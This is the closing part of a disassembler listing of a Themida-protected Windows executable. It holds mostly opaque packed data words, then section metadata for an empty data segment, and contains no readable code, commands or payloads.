		dd 81660000h, 0BE72D4EFh, 58D8E8ABh, 0FE8h, 87CF3B00h
		dd 686647h, 25843EDAh, 0F23F282Ch, 6E9h, 634EC900h, 5911B302h
		dd 8B2BF780h, 13E960C1h, 41000000h, 42419191h, 0F78E9C40h
		dd 0FAA31F73h, 0F8712503h, 0BA66ACFDh, 0FC6152EEh, 0E8E641B9h
		dd 198F0F79h, 60000000h, 0CE9h,	0DFE81200h, 34C9F734h
		dd 0B38C3109h, 8C0F7Bh,	61000000h, 59C28B50h, 0E9CF8B66h
		dd 0Bh,	0DE4F3A05h, 0E5734561h,	0E899303Bh, 11h, 0C72C8AD9h
		dd 81CFBE3h, 5B1BF9C3h,	82DCBB2Ah, 58C78B74h, 5E576060h
		dd 0CE8061F5h, 84B06144h, 0C281F48Ah, 20C77717h, 0DC9ABF60h
		dd 8B533EDEh, 60615AC1h, 0FE9h,	0C9678500h, 92FC9744h
		dd 7BBD70EEh, 596E0BB0h, 8B0FF960h, 0
		dd 8B666161h, 0D0D0BAC2h, 8A0F213Ah, 5,	85CB74BEh, 6653B544h
		dd 0F7C90BAh, 84h, 0BE900h, 0D2450000h,	18DC3984h, 25B494E9h
		dd 13E9DCh, 16430000h, 494A65B3h, 67AE5D0h, 70AB3802h
		dd 9E2BA430h, 89B8568Eh, 5E00837Ch, 0AFC98166h,	0E6BA66B2h
		dd 0BBE60B6h, 0B125C7CEh, 0DE861A8h, 73000000h,	0F1A4C69Eh
		dd 8144D31Bh, 58EBA920h, 0A291EB81h, 815E6F82h,	63F680DEh
		dd 2890F38h, 0B6000000h, 66E58AA0h, 0F9F5F78Bh,	8E8h, 63526000h
		dd 45FAD526h, 0AE91Eh, 0ECE10000h, 110B099Eh, 0F1949409h
		dd 0FFBF0F5Eh, 0CE9h, 0B4296200h, 0B952A6F8h, 5D62D3h
		dd 0DE05BEF9h, 10E9196Ch, 8000000h, 6B29C3B8h, 0D1E7368Ah
		dd 0FE7BD3E0h, 0E9406561h, 11h,	0BCF13FBDh, 0F875DBDDh
		dd 2EE38C81h, 2B1E5C49h, 0F3816698h, 0F58A20A7h, 0E9FFE680h
		dd 5, 8AA2361Fh, 0BF6660C7h, 12E89F89h,	7C000000h, 0DDCAFB61h
		dd 0F6B71A89h, 0E36A92C0h, 199199ACh, 0C1BF0F52h, 8B666158h
		dd 8B6660D9h, 61CB8BD9h, 18B96660h, 6164B567h, 58A0Fh
		dd 26BE0000h, 6008AA5Fh, 0FD7B70Fh, 8Fh, 8B666100h, 14E9C8h
		dd 8D30000h, 3AD078A0h,	0D7163F6Ch, 0C72EB997h,	6EAD0BC5h
		dd 8B66CACBh, 8166F8F2h, 81BFD0E2h, 0F235ACE9h,	4962B85Fh
		dd 8A0F3DFFh, 5, 5B50F860h, 66C88B61h, 6660C78Bh, 0EE9D08Bh
		dd 33000000h, 8E637AF0h, 4685336Ch, 0C03821E2h,	8B6661C4h
		dd 84BF66F9h, 0E99AB94Ch, 8B666AD7h, 13E9D3h, 0CEA00000h
		dd 0B4F00D8Bh, 5BEBA2B1h, 0CFD8485Ah, 1162BFBAh, 9E902h
		dd 0DA0C0000h, 28413722h, 53D15AFAh, 8B58DE8Bh,	0C8BF0FF2h
		dd 7E9h, 524A6400h, 0F0FC3D55h,	0FE9h, 8D2CF800h, 0EAC323ACh
		dd 62DC519h, 0BC65D5B3h, 68D0Fh, 0DE810000h, 19511577h
		dd 13840Fh, 0EE90000h, 48000000h, 96A85B41h, 0FAD9DC88h
		dd 64EC2771h, 98CF809Ch, 0BE66CB8Bh, 11E90374h,	0A9000000h
		dd 1139832Fh, 47D1648Fh, 5F4A2B40h, 0DB7AF828h,	0B866C5B2h
		dd 11E995DEh, 8D000000h, 0ECC46E3Ch, 5D13B0F3h,	0DA0D2587h
		dd 0B2EFACF9h, 148F0Fh,	0FE90000h, 0EA000000h, 0B1084A1Ah
		dd 0E747BEAEh, 5C5462A8h, 8D0F9EBBh, 0
		dd 0BE8h, 7E623A00h, 9F5F17B4h,	0BE5DC8CCh, 8DC88160h
		dd 0FC3E7A36h, 2B75F61h, 9D51DF81h, 0C5B75CFAh,	0CA8B6660h
		dd 6840Fh, 890F0000h, 0
		dd 8B0F5361h, 4, 0F902B966h, 0CBBA6658h, 6650B695h, 10EFD981h
		dd 10E8h, 8A1AAA00h, 9123DA2Fh,	76575DE3h, 0F458B092h
		dd 8B0F70h, 5A000000h, 271FE181h, 12E8525Bh, 0C5000000h
		dd 0AEFF6E19h, 6E7555Ch, 6F37E015h, 56A1F6E6h, 0F7815BB8h
		dd 38AB8E67h, 4840Fh, 0BA660000h, 0BF0F045Ch, 870F53F6h
		dd 2, 0FC5BF98Bh, 38C0Fh, 0B70F0000h, 0D9DA80FBh, 816658B2h
		dd 0B4873DD3h, 0DE918h,	0A3170000h, 396DE772h, 887CCE4Bh
		dd 57626E72h, 1DB0B966h, 0FBC1815Fh, 8B2B78AEh,	92DA81C7h
		dd 8B46A363h, 0C88B66DAh, 3800Fh, 0B70F0000h, 6E9F7h, 41150000h
		dd 929CC49Eh, 11E8h, 3F230800h,	9EBC5CC7h, 0C6B7EA59h
		dd 92B15B3h, 5AF5B93Eh,	44DB8166h, 0CF8166F1h, 810F4121h
		dd 9, 3860Fh, 0CC800000h, 6860F9Eh, 81000000h, 2092B4EAh
		dd 0A1CF8041h, 5810Fh, 2DBF0000h, 664F3CF1h, 0AE9DE8Bh
		dd 34000000h, 3E4396E5h, 0A8573F33h, 7DB96672h,	0F08B669Eh
		dd 0E9DA8B66h, 12h, 0A1AEEA46h,	0EF7C3DEh, 0A1B9702Ah
		dd 0C9222CF7h, 0BA60D549h, 5854A753h, 919425BEh, 810F6148h
		dd 1Dh,	13E8h, 1D987E00h, 1B998695h, 49E75E3Bh,	865CD10Bh
		dd 9D3E0532h, 0A913BB66h, 0C6B1605Eh, 5A0FBE66h, 9E85661h
		dd 0E3000000h, 19897A56h, 8B6E6DDAh, 5F5AFE8Ah,	6E9h, 88621400h
		dd 0FCD0B5E8h, 0EE9h, 7023AB00h, 38E267D8h, 62E760Bh, 80AD707Eh
		dd 0BF0FF3EAh, 6E9D2h, 56840000h, 316A98A5h, 38D0Fh, 0DB800000h
		dd 7E9F0h, 171D0000h, 0A28C0A0Eh, 13E8B8h, 0B61A0000h
		dd 0DA5E6486h, 37AAC6ACh, 0B4655D39h, 22040714h, 5FDF8BB1h
		dd 11E9h, 18D64000h, 8D2F53D3h,	1972FFDh, 866BC567h, 8F0F1607h
		dd 5, 0AC78166h, 0DBB70F6Eh, 6E9h, 0DC347600h, 806972C5h
		dd 0EE80BBC1h, 13E95Fh,	4A810000h, 359783CDh, 0E63F7C33h
		dd 2F28BCC6h, 0A07C26C8h, 0A9BB66ACh, 188C0F2Bh, 0E8000000h
		dd 12h,	22732C56h, 53849C16h, 0A573854Eh, 9FBE3693h, 66591855h
		dd 60D8D2BFh, 0F52A0B1h, 615EF0BFh, 5BD9CB81h, 0B70F3E9Ah
		dd 860FCBh, 66000000h, 8B15EAB8h, 3820FD7h, 0F000000h
		dd 8B66F0BFh, 14E9FEh, 26E60000h, 0BA84E532h, 0E3296BE6h
		dd 60F61735h, 9FA87A3Fh, 0CA8B0C9Fh, 9E9h, 7E4E2A00h, 4822E508h
		dd 8BF86C30h, 0C7B70FCBh, 6E9h,	57156700h, 51E1577Eh, 1FC2F7BEh
		dd 0EA805868h, 8B0F607Eh, 3, 0FD1B70Fh,	583h, 9B33BB00h
		dd 0B46122EFh, 0DE914h,	3E1F0000h, 99AED277h, 8EBF973h
		dd 0F0D09C8h, 880FD3BFh, 2, 0DA8BF78Bh,	66CFBF0Fh, 0BE9F88Bh
		dd 53000000h, 7C4C45E0h, 77032C06h, 8A519181h, 8B6658CAh
		dd 4482BFF9h, 850F7643h, 0Ah, 5E9h, 0ADD47700h,	0BE96ED1h
		dd 8D000000h, 70D8532Eh, 6E81CA67h, 88BF1D37h, 56531176h
		dd 6E1BE66h, 0D88B665Fh, 0A44A8CBBh, 850F7Ch, 66000000h
		dd 66C177BFh, 6653D88Bh, 0F203E681h, 8865B959h,	0C38A3BB4h
		dd 0BE8h, 8F8D6100h, 0A00D3B00h, 29C4F1D7h, 6DBB6658h
		dd 8E91Bh, 5CFB0000h, 7E2E410h,	0D281D2F2h, 6031BDAAh
		dd 68D0F60h, 81000000h,	0CE1F2BC2h, 0C9816628h,	816173F3h
		dd 78BEBCD8h, 8E927h, 33160000h, 6617E597h, 8E92678h, 77000000h
		dd 467290D1h, 0FA98751h, 800FF2BFh, 5, 0E9E78166h, 23BB6663h
		dd 0C681667Dh, 3BBBB723h, 8B2B6201h, 0B9F88BC1h, 1EC1E68Fh
		dd 5267E580h, 12A2FBB9h, 8B0F5822h, 5, 0F3F18166h, 5050F89Ah
		dd 5FC6B70Fh, 10820F5Ah, 0E9000000h, 0Bh, 0EFC6AB36h, 0AE296CECh
		dd 816487E6h, 0B98AB2D7h, 41B9664Fh, 12E9F8EAh,	0A2000000h
		dd 31A7A57Fh, 664492E2h, 5FD54D9Fh, 197A46CDh, 0E2816675h
		dd 800FF480h, 3, 0B0F1BF0Fh, 9E8B7h, 90CA0000h,	0A47804D5h
		dd 0E876E8F3h, 5, 61C33025h, 820FF0h, 5E000000h, 0F78B6658h
		dd 14890Fh, 860F0000h, 0Eh, 9E9h, 0DC55EB00h, 2F884F14h
		dd 13E97AA8h, 8D000000h, 0D96B3666h, 323E60AFh,	537B966Dh
		dd 17810597h, 880F3962h, 4, 5A5F5151h, 2820F53h, 0B6000000h
		dd 806059F3h, 0BA6625F5h, 66612329h, 8BB457B9h,	0DEBF0FD8h
		dd 38D0Fh, 0B70F0000h, 5E9FAh, 0F6880000h, 66A90FC3h, 937EC381h
		dd 0E181FCFCh, 5B7B9D7Dh, 2BD78166h, 0CB81661Bh, 8B661F43h
		dd 0FB8BFCCEh, 0F75F580h, 28Ch,	0BFD98B00h, 0E956E5Ch
		dd 0B4E08166h, 0C8BF0FE0h, 0EE8h, 0F470AF00h, 822D09A8h
		dd 66C935Bh, 6666549Ch,	8A58C28Bh, 0CCE81F3h, 0BB3569CFh
		dd 13C22BE1h, 20E78166h, 0D08B6613h, 296A4FBEh,	0BE979h
		dd 5E640000h, 0AAC6ACDAh, 655D3937h, 0F1B70FB4h, 66F1BF0Fh
		dd 66D7F8B9h, 0A3F8CB81h, 58F0F60h, 0B8000000h,	5D04D7Ah
		dd 0E9615856h, 9, 0AB009F03h, 9033A958h, 5E1BB9C4h, 820F4004h
		dd 5, 7D7951BAh, 8C0F6021h, 6, 860Fh, 4BBE0000h, 61423264h
		dd 0D62FFBEh, 0C68BF85Ah, 5800Fh, 81660000h, 0BBEA7DC6h
		dd 42D17A9Ch, 0FD38B66h, 889h, 28E0F00h, 60000000h, 0E2816661h
		dd 0B866624Dh, 0F78BACC3h, 50FEB70Fh, 9BC98166h, 81665F4Ch
		dd 57591ADEh, 0F5FC18Bh, 48Fh, 8AB86600h, 1119BA41h, 81562EF3h
		dd 0D70A06DEh, 0A3BE5959h, 0E9788486h, 5, 30515947h, 10E95Fh
		dd 21C00000h, 0B45DAEAEh, 0BC24248Ch, 6F6B6C06h, 5F5219CAh
		dd 610CB966h, 1800Fh, 0B1F80000h, 3820FCDh, 66000000h
		dd 0FF9D08Bh, 180h, 8E0FF800h, 5, 75D007B8h, 5E96Ch, 0C7460000h
		dd 8A46196Dh, 66CE8BDCh, 8B3683B8h, 66B866C2h, 4AB2BBDBh
		dd 0F60049Eh, 382h, 0C38B6600h,	0CA98BA66h, 0CE961h, 7C230000h
		dd 0D9B0198Fh, 480FDC76h, 0C4802C77h, 0DB816697h, 0B9668D76h
		dd 8B66EA47h, 0DA8B66F9h, 6830F50h, 0F000000h, 87h, 13E85F00h
		dd 0BD000000h, 62E3A099h, 0A6DE7A4Dh, 9424068h,	4B6A8AE7h
		dd 13E94721h, 34000000h, 6584FE54h, 0C5E47935h,	1DCF310Ah
		dd 4FF78A32h, 8B5E0855h, 11E8DAh, 24F40000h, 0B7E2348Ch
		dd 0C661414Eh, 99221C35h, 0E833E3FFh, 14h, 776B3423h, 275BB679h
		dd 0F8E7D7A6h, 0CD6BBAE3h, 0A906F31Ah, 36AF31BAh, 0F5E5B25h
		dd 38Ah, 0C2B70F00h, 0CE8h, 6610CE00h, 7E98C993h, 2F0F9912h
		dd 59F28B09h, 81F0BF0Fh, 9F8644F1h, 0E9F8F54Ah,	8, 0FE15DCA4h
		dd 0A06BEF5Bh, 14E9F560h, 0A9000000h, 0F820EAB8h, 2A027882h
		dd 0A8BE291Ch, 0C2131F23h, 613FDDB8h, 5880Fh, 0F530000h
		dd 665BDFB7h, 0E969AEBEh, 10h, 0AA0B8CA9h, 0A8D2A15Ah
		dd 1D149AA7h, 1F2D54B9h, 0FE8h,	9F7AF400h, 4C2A5271h, 7B33BADBh
		dd 3CD4881Eh, 8B595DB2h, 81DE8BFAh, 8ACB9ADAh, 0EFEA815Ah
		dd 0E973530Ah, 14h, 7E948BA7h, 8FC029F6h, 7FCF439Dh, 0D3CFC748h
		dd 3A0AE4B8h, 1800Fh, 0B6F80000h, 0DF8166E7h, 0FF5ED35h
		dd 28Ch, 5707B700h, 56C38A59h, 28E0Fh, 61600000h, 2810F59h
		dd 8B000000h
		dd 0F18160D7h, 0CC8EBACh, 0F38B6653h, 10E9615Bh, 0A7000000h
		dd 890EB4C7h, 0EC67A255h, 9D39F7A4h, 0E900F2DDh, 0Ch, 0CA9E4FFAh
		dd 69AE62h, 6785FA15h, 8B600EB0h, 0DF8166CFh, 0F61D047h
		dd 850FCBBFh, 3, 0FCF78B66h, 0BB90DF80h, 46018D97h, 8173D480h
		dd 21DFC8D9h, 2EC88112h, 667262D5h, 8BA401B8h, 6056F9FAh
		dd 2D88166h, 8C0FD3h, 61000000h, 98BA665Ah, 0D9816604h
		dd 0DD80DF13h, 0DFBF0F7Ah, 0FE8h, 9DE72200h, 89037E6Bh
		dd 0E812A730h, 0C9F734DFh, 5FF18B66h, 3850Fh, 0F7800000h
		dd 10E93Dh, 0B3870000h,	0C867CE04h, 8179B86Eh, 33B47A03h
		dd 0CA8BA14Dh, 0AE8h, 0E90BA100h, 61C65535h, 6097241Dh
		dd 860F9CB5h, 0
		dd 0D3815E61h, 232C1466h, 0BE8h, 0D1122600h, 0A1DCF065h
		dd 1121EDBCh, 0E95833B5h, 10h, 4FC81E3Bh, 97AD6AFCh, 2DB35EAFh
		dd 0E1931E14h, 53EA8A60h, 0D001BE66h, 0BF0F615Bh, 0DE9CAh
		dd 0E1560000h, 35235E9Fh, 0E0029E57h, 532BC81Ah, 0BE8h
		dd 5A068200h, 2D019D95h, 0CAA85FCAh, 9E8h, 0F0075000h
		dd 750E44Eh, 5F5A4EF0h,	90BE665Ah, 66C78A2Bh, 3889DE81h
		dd 8AC0DE80h, 0B456F8FEh, 12E95F97h, 0BD000000h, 8F624516h
		dd 0B2A4892Fh, 0D7486F99h, 484FD4C9h, 0EE937h, 0C2550000h
		dd 571CF8DAh, 74B007Fh,	2D21B105h, 0AE9h, 0C4736E00h, 823B5FD3h
		dd 0F9BDEE9h, 88Bh, 28D0F00h, 56000000h, 870F59h, 57000000h
		dd 0F870Fh, 0AE90000h, 30000000h, 9E5B5FB3h, 193AB7BEh
		dd 3BBF59B5h, 0E818CD83h, 8, 615DDDB6h,	1248C48Ah, 48D0Fh
		dd 0BB660000h, 0F59D3C1h, 28Ah,	6697B000h, 666538B8h, 54F0DE81h
		dd 6784B960h, 8B501772h, 45615EF2h, 2Bh	dup(481D3785h)
		dd 0AD1D3785h, 5FCh dup(0AF0289F7h), 7BC389F7h,	2BBh dup(7BC3D0B2h)
		dd 0E4C3D0B2h, 100h dup(0E3342F80h), 88CF2F80h,	137h dup(88CFF608h)
		dd 0CCCCCC08h, 8E1h dup(0CCCCCCCCh), 0CCCCCCh, 3D7h dup(0)
Themida_	ends

; Section 5. (virtual address 001BD000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001BD000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5BD000h
		align 2000h
_idata2		ends


		end start